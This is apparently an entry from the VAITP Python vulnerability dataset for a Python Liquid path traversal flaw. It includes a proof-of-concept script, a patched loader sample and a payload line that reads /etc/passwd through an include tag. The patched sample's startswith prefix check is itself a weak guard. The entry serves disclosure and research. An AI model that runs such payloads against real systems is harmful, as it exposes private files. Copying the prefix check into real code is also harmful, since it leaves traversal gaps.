CVE-2026-45017
Python Liquid path traversal allows reading arbitrary files via include tags.
- CVSS 8.2
- CWE-22
- Input Validation and Sanitization
- Remote
Python Liquid is a Python engine for the Liquid template language. Prior to 2.2.0, the built-in FileSystemLoader and CachingFileSystemLoader do not guard against reading files outside their search paths when given an absolute path to resolve. This allows malicious template authors to load and render arbitrary files via the {% include %} and {% render %} tags. Targeted files would need to contain valid Liquid markup and be readable by the application process. This vulnerability is fixed in 2.2.0.
- CWE
- CWE-22
- CVSS base score
- 8.2
- Published
- 2026-05-28
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- Python Liqui
- Fixed by upgrading
- Yes
Solution
Upgrade Python Liquid to version 2.2.0 or later.
Vulnerable code sample
import os
import shutil
from liquid import Environment, FileSystemLoader
# This code requires a vulnerable version of python-liquid, e.g., pip install "liquidpy<2.2.0"
# 1. Setup a "safe" template directory.
TEMPLATES_DIR = "templates"
os.makedirs(TEMPLATES_DIR, exist_ok=True)
# 2. Create a "secret" file outside the intended template directory.
SECRET_FILE = "secret_file.txt"
with open(SECRET_FILE, "w") as f:
f.write("This is sensitive content from a file outside the template root.")
# 3. Simulate a malicious template that uses an absolute path to access the secret file.
# An attacker would provide this content to the application.
absolute_path_to_secret = os.path.abspath(SECRET_FILE)
malicious_template_source = f"{{% include '{absolute_path_to_secret}' %}}"
# 4. The application developer configures the loader, believing it is restricted.
# In vulnerable versions, the FileSystemLoader does not check if a path
# provided to `include` is absolute and outside the search path.
env = Environment(loader=FileSystemLoader(search_path=TEMPLATES_DIR))
# 5. The application renders the malicious template.
template = env.from_string(malicious_template_source)
try:
output = template.render()
# The output will contain the content of the secret file, proving the vulnerability.
print("Vulnerability demonstrated. File content read from outside the search path:")
print(output)
except Exception as e:
print(f"Failed to render template: {e}")
finally:
# Cleanup created files and directory
if os.path.exists(SECRET_FILE):
os.remove(SECRET_FILE)
if os.path.exists(TEMPLATES_DIR):
shutil.rmtree(TEMPLATES_DIR)Patched code sample
import os
class FixedFileSystemLoader:
"""
A simplified representation of Python Liquid's fixed FileSystemLoader.
"""
def __init__(self, search_path: list[str]):
# For reliable comparison, all search paths are converted to absolute paths.
self.search_path = [os.path.abspath(p) for p in search_path]
def get_source(self, template_name: str) -> str:
"""
Loads a template by name, guarding against path traversal.
"""
for path in self.search_path:
source_file = os.path.join(path, template_name)
# THE FIX: This check was added to version 2.2.0.
# It ensures the resolved, absolute path of the template is within
# the allowed search directory. This prevents directory traversal
# when template_name is an absolute path (`/etc/passwd`) or contains
# relative parent navigations (`../../../../etc/passwd`).
if not os.path.abspath(source_file).startswith(os.path.abspath(path)):
continue # Path is outside the allowed directory; skip to the next.
if os.path.exists(source_file) and os.path.isfile(source_file):
# In a real scenario, file content would be read and returned.
return f"SAFE_TO_LOAD:{source_file}"
raise FileNotFoundError(f"Template not found: {template_name}")Payload
{% include '/etc/passwd' %}
Cite this entry
@misc{vaitp:cve202645017,
title = {{Python Liquid path traversal allows reading arbitrary files via include tags.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45017},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45017/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
